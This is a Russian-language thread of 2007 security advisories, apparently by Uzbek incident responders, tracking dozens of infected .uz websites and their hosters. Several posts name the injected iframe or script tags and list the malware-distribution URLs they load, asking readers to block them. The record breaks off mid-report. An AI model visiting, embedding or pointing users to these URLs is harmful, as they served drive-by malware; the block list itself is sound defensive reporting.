09.11.2007, 10:35
Список на сегодняшний день (Зараженных: 41 Новых: 3):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
roller.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
admiral.uz - Хостинг: Billur.NET (UZ)
alutex.uz- Хостинг: ISP "Sharq Telekom" (UZ)
ankariya.uz - Сайт недоступен
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
asterix.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
beksoft.uz - Сайт недоступен
bbd.uz - Хостинг: Billur.NET (UZ)
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Хостинг: Liquid Web, Inc. (US)
fiml.uz - Сайт недоступен
flat.uz - Хостинг: ELTEL (RU)
gamma-elektro.uz - Сайт недоступен
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
kamini.uz - Хостинг: Sarkor-Telecom (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
kniga.uz - Хостинг: Net Access Corporation (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
makizbaraka.uz - Хостинг: Billur.NET
maxima.uz - Сайт недоступен
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
muslim.uz - Хостинг: ISP "Ars-Inform" (UZ)
mvd.uz - Хостинг: ISP "Sharq Telekom" (UZ)
neurology.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
poedem.uz - Хостинг: APS Telecom (US)
polygon.uz - Хостинг: Net Access Corporation (US)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Хостинг: TEXNOPROSISTEM (UZ)
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz - Сайт недоступен
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 24
Размещенных зарубежом: 17

Dmitry Paleev
13.11.2007, 14:46
На веб-сайте hттp://www.forklift.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрены они в 3 местах в файле index.

Первая вредоносная ссылка: http://robotraff.com/tds.php
Вторая вредоносная ссылка: http://uspocketpc.com/check/version.php
Третья вредоносная ссылка: http://xstuff.biz/tdsko-xyz/index.php

Хостинг: Strato Rechenzentrum, Berlin (DE)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносные ссылки.

Dmitry Paleev
13.11.2007, 14:49
На веб-сайте hттp://www.hr.uz (hттp://www.hrc.uz) был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://32f10f94a179da25.5d7424a9c81feab3.drivers.aero4.cn/x86/

Хостинг: ISP Sarkor-Telecom

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
13.11.2007, 14:54
На веб-сайте hттp://www.jobs.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://32f10f94a179da25.5d7424a9c81feab3.drivers.aero4.cn/x86/

Хостинг: ISP Sarkor-Telecom

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
13.11.2007, 14:57
На веб-сайте hттp://www.warez.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://orentraff.cn/tds/index.php

Хостинг: 1&1 Internet Inc. (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Eldar Ishimbaev
13.11.2007, 15:29
Список на сегодняшний день (Зараженных: 46 Новых: 5):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
roller.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
admiral.uz - Хостинг: Billur.NET (UZ)
alutex.uz- Хостинг: ISP "Sharq Telekom" (UZ)
ankariya.uz - Сайт недоступен
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
asterix.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
beksoft.uz - Сайт недоступен
bbd.uz - Хостинг: Billur.NET (UZ)
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Хостинг: Liquid Web, Inc. (US)
fiml.uz - Сайт недоступен
flat.uz - Хостинг: ELTEL (RU)
forklift.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
gamma-elektro.uz - Сайт недоступен
hr.uz - Хостинг: ISP Sarkor-Telecom
hrc.uz - Хостинг: ISP Sarkor-Telecom
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
jobs.uz - Хостинг: ISP Sarkor-Telecom
kamini.uz - Хостинг: Sarkor-Telecom (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
kniga.uz - Хостинг: Net Access Corporation (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
makizbaraka.uz - Хостинг: Billur.NET
maxima.uz - Сайт недоступен
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
muslim.uz - Хостинг: ISP "Ars-Inform" (UZ)
mvd.uz - Хостинг: ISP "Sharq Telekom" (UZ)
neurology.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
poedem.uz - Хостинг: APS Telecom (US)
polygon.uz - Хостинг: Net Access Corporation (US)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Хостинг: TEXNOPROSISTEM (UZ)
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz - Сайт недоступен
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
warez.uz - Хостинг: 1&1 Internet Inc. (US)
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 27
Размещенных зарубежом: 19

Eldar Ishimbaev
16.11.2007, 17:04
Список на сегодняшний день (Зараженных: 38):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
roller.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
admiral.uz - Хостинг: Billur.NET (UZ)
alutex.uz- Хостинг: ISP "Sharq Telekom" (UZ)
ankariya.uz - Сайт недоступен
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
asterix.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
beksoft.uz - Сайт недоступен
bbd.uz - Хостинг: Billur.NET (UZ)
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Сайт недоступен
fiml.uz - Сайт недоступен
flat.uz - Хостинг: ELTEL (RU)
forklift.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
gamma-elektro.uz - Сайт недоступен
hr.uz - Хостинг: ISP Sarkor-Telecom
hrc.uz - Хостинг: ISP Sarkor-Telecom
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
jobs.uz - Хостинг: ISP Sarkor-Telecom
kamini.uz - Хостинг: Sarkor-Telecom (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
kniga.uz - Хостинг: Net Access Corporation (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
makizbaraka.uz - Хостинг: Billur.NET
maxima.uz - Сайт недоступен
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
muslim.uz - Сайт недоступен
mvd.uz - Хостинг: ISP "Sharq Telekom" (UZ)
neurology.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
poedem.uz - Хостинг: APS Telecom (US)
polygon.uz - Хостинг: Net Access Corporation (US)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Сайт недоступен
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
surf.uz - Сайт недоступен
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
warez.uz - Хостинг: 1&1 Internet Inc. (US)
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 24
Размещенных зарубежом: 14

Eldar Ishimbaev
19.11.2007, 13:44
Список на сегодняшний день (Зараженных: 34 Новых: 1):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
roller.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
admiral.uz - Хостинг: Billur.NET (UZ)
ankariya.uz - Сайт недоступен
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
asterix.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
beksoft.uz - Сайт недоступен
bbd.uz - Хостинг: Billur.NET (UZ)
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Сайт недоступен
fiml.uz - Сайт недоступен
gamma-elektro.uz - Сайт недоступен
hr.uz - Хостинг: ISP Sarkor-Telecom
hrc.uz - Хостинг: ISP Sarkor-Telecom
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
jobs.uz - Хостинг: ISP Sarkor-Telecom
kamini.uz - Хостинг: Sarkor-Telecom (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
makizbaraka.uz - Хостинг: Billur.NET
maxima.uz - Сайт недоступен
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
muslim.uz - Сайт недоступен
neurology.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
poedem.uz - Хостинг: APS Telecom (US)
polygon.uz - Хостинг: Net Access Corporation (US)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Сайт недоступен
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
warez.uz - Хостинг: 1&1 Internet Inc. (US)
webstudio.uz - Хостинг: "Computer Communication Center Ltd." (CCC) (UZ)
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 22
Размещенных зарубежом: 12

Dmitry Paleev
20.11.2007, 10:24
На веб-сайте hттp://www.airport.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://meraxe.com/qaz/spl/index.php

Хостинг: Universal Technologies Network (RU)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
20.11.2007, 10:49
На веб-сайте hттp://www.aks.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://www.qrostr.com/tds/index.php

Хостинг: New Dream Network, LLC (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
20.11.2007, 10:58
На веб-сайте hттp://www.alutex.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- o65 --> вредоносный код <!-- o65 -->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://ltraffic.biz/resource.php

Хостинг: ISP "Sharq Telekom"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
20.11.2007, 11:05
На веб-сайте hттp://www.netdec.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://78.109.21.114/t.php

Хостинг: California Regional Intranet, Inc. (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
20.11.2007, 11:09
На веб-сайте hттp://www.roboclean.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://www.qrostr.com/tds/index.php

Хостинг: New Dream Network, LLC (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
20.11.2007, 13:35
На веб-сайте hттp://www.apic.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://salevisitor.net/in.cgi

Хостинг: FastServers, Inc. (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
20.11.2007, 13:37
На веб-сайте hттp://www.bp.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://orentraff.cn/tds/index.php

Хостинг: TEXNOPROSISTEM

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
20.11.2007, 13:46
На веб-сайте hттp://www.solar-colorit.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://23ddf30ece2171c9.ec3dd598933e993f.drivers.aero4.cn/x86/

Хостинг: Strato Rechenzentrum, Berlin (DE)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
20.11.2007, 13:55
На веб-сайте hттp://www.uzbekcircus.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://23ddf30ece2171c9.ec3dd598933e993f.drivers.aero4.cn/x86/

Хостинг: Everyones Internet (US)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Eldar Ishimbaev
20.11.2007, 14:24
Список на сегодняшний день (Зараженных: 42 Новых: 9):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
roller.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
admiral.uz - Хостинг: Billur.NET (UZ)
airport.uz - Хостинг: Universal Technologies Network (RU)
aks.uz - Хостинг: New Dream Network, LLC (US)
alutex.uz - Хостинг: ISP "Sharq Telekom" (UZ)
ankariya.uz - Сайт недоступен
apic.uz - Хостинг: FastServers, Inc. (US)
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
beksoft.uz - Сайт недоступен
bbd.uz - Хостинг: Billur.NET (UZ)
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bp.uz - Хостинг: TEXNOPROSISTEM (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Сайт недоступен
fiml.uz - Сайт недоступен
gamma-elektro.uz - Сайт недоступен
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
kamini.uz - Хостинг: Sarkor-Telecom (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
makizbaraka.uz - Хостинг: Billur.NET
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
netdec.uz - Хостинг: California Regional Intranet, Inc. (US)
neurology.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
poedem.uz - Хостинг: APS Telecom (US)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
roboclean.uz - Хостинг: New Dream Network, LLC (US)
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Сайт недоступен
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
solar-colorit.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
uzbekcircus.uz - Хостинг: Everyones Internet (US)
warez.uz - Хостинг: 1&1 Internet Inc. (US)
webstudio.uz - Хостинг: "Computer Communication Center Ltd." (CCC) (UZ)
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 24
Размещенных зарубежом: 18

Eldar Ishimbaev
21.11.2007, 13:26
Список на сегодняшний день (Зараженных: 39):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
roller.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
admiral.uz - Хостинг: Billur.NET (UZ)
airport.uz - Хостинг: Universal Technologies Network (RU)
aks.uz - Хостинг: New Dream Network, LLC (US)
alutex.uz - Хостинг: ISP "Sharq Telekom" (UZ)
ankariya.uz - Сайт недоступен
apic.uz - Хостинг: FastServers, Inc. (US)
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
beksoft.uz - Сайт недоступен
bbd.uz - Хостинг: Billur.NET (UZ)
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bp.uz - Хостинг: TEXNOPROSISTEM (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Сайт недоступен
fiml.uz - Сайт недоступен
gamma-elektro.uz - Сайт недоступен
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
kamini.uz - Хостинг: Sarkor-Telecom (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
makizbaraka.uz - Хостинг: Billur.NET
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
netdec.uz - Хостинг: California Regional Intranet, Inc. (US)
neurology.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
poedem.uz - Хостинг: APS Telecom (US)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
roboclean.uz - Хостинг: New Dream Network, LLC (US)
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Сайт недоступен
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
solar-colorit.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
uzbekcircus.uz - Хостинг: Everyones Internet (US)
warez.uz - Хостинг: 1&1 Internet Inc. (US)
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 22
Размещенных зарубежом: 17

Eldar Ishimbaev
22.11.2007, 13:01
Список на сегодняшний день (Зараженных: 36):

mingbulak.connect.uz - Хостинг: UZSCINET (UZ)
roller.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
tashkent.sarkor.uz - Хостинг: Sarkor-Telecom (UZ)
admiral.uz - Хостинг: Billur.NET (UZ)
airport.uz - Хостинг: Universal Technologies Network (RU)
aks.uz - Хостинг: New Dream Network, LLC (US)
ankariya.uz - Сайт недоступен
apic.uz - Хостинг: FastServers, Inc. (US)
arktika.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
artstar.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
artvision.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
beksoft.uz - Сайт недоступен
bbd.uz - Хостинг: Billur.NET (UZ)
bm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
bsm.uz - Хостинг: ISP "Sharq Telekom" (UZ)
chelsea.uz - Хостинг: IPLUS (UZ)
elt.uz - Сайт недоступен
fiml.uz - Сайт недоступен
gamma-elektro.uz - Сайт недоступен
in.uz - Хостинг: ARBATEK (RU)
inkompress.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
intek.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
kamini.uz - Хостинг: Sarkor-Telecom (UZ)
kmn.uz - Хостинг: Liquid Web, Inc. (US)
lodging.uz - Сайт недоступен
madrasa.uz - Сайт недоступен
makizbaraka.uz - Хостинг: Billur.NET
minzdr.uz - Хостинг: ISP "Sharq Telekom" (UZ)
monitoring.uz - Хостинг: ISP "Sharq Telekom" (UZ)
netdec.uz - Хостинг: California Regional Intranet, Inc. (US)
neurology.uz - Хостинг: California Regional Intranet, Inc. (US)
osiyomedika.uz - Сайт недоступен
parfumgallery.uz - Хостинг: Sarkor-Telecom (UZ)
poedem.uz - Хостинг: APS Telecom (US)
programmist.uz - Хостинг:ISP Amaliy Aloqalar Biznesi Ltd. (UZ)
roboclean.uz - Хостинг: New Dream Network, LLC (US)
samgasi.uz - Хостинг: UZSCINET (UZ)
seek.uz - Сайт недоступен
shosh.uz - Хостинг: California Regional Intranet, Inc. (US)
sogdamarket.uz - Хостинг: Global Net Access, LLC (US)
tmt.uz - Хостинг: Liquid Web, Inc. (US)
tohtaniyoz-ota.uz - Хостинг: ISP "Ars-Inform" (UZ)
tc.uz - Хостинг: Strato Rechenzentrum, Berlin (DE)
tstu.uz - Хостинг: ISP "Ars-Inform" (UZ)
uzbekcircus.uz - Хостинг: Everyones Internet (US)
warez.uz - Хостинг: 1&1 Internet Inc. (US)
yoshlik.uz - Хостинг: SHARQ-TELEKOM (UZ)
zk.uz - Хостинг: ISP Amaliy Aloqalar Biznesi Ltd. (UZ)

Размещенных в Узбекистане: 20
Размещенных зарубежом: 16

Dmitry Paleev
23.11.2007, 18:03
На веб-сайте hттp://www.bp.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <!-- ~ --> вредоносный код <!-- ~ -->

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://orentraff.cn/tds/index.php

Хостинг: TEXNOPROSISTEM

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
23.11.2007, 18:06
На веб-сайте hттp://www.jaluzi.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в 3 местах в файле index.

Вредоносная ссылка: http://takemoneysite.info

Хостинг: TEXNOPROSISTEM

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
23.11.2007, 18:10
На веб-сайте hттp://www.mart.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://www.akillisoft.net/cool/

Хостинг: ISP "Ars-Inform"

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
23.11.2007, 18:12
На веб-сайте hттp://www.nature.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <iframe> вредоносный код </iframe>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://teamfunnel.com/images/lol.html

Хостинг: UZSCINET

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
23.11.2007, 18:24
На веб-сайте hттp://www.out.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в одном месте в файле index.

Вредоносная ссылка: http://3f36be65cbcafe7d.f5a4c1e195fe2f44.drivers.aero4.cn/x86/

Хостинг: ELTEL (RU)

Просим с осторожностью заходить на данный веб-сайт до разрешения инцидента и заблокировать в своих межсетевых экранах вредоносную ссылку.

Dmitry Paleev
23.11.2007, 18:30
На веб-сайте hттp://www.pharmi.uz был обнаружен код, загружающий на компьютер вредоносное ПО.

Код находится между тегами <script> вредоносный код </script>

Внедрен он в 2 местах в файле index.

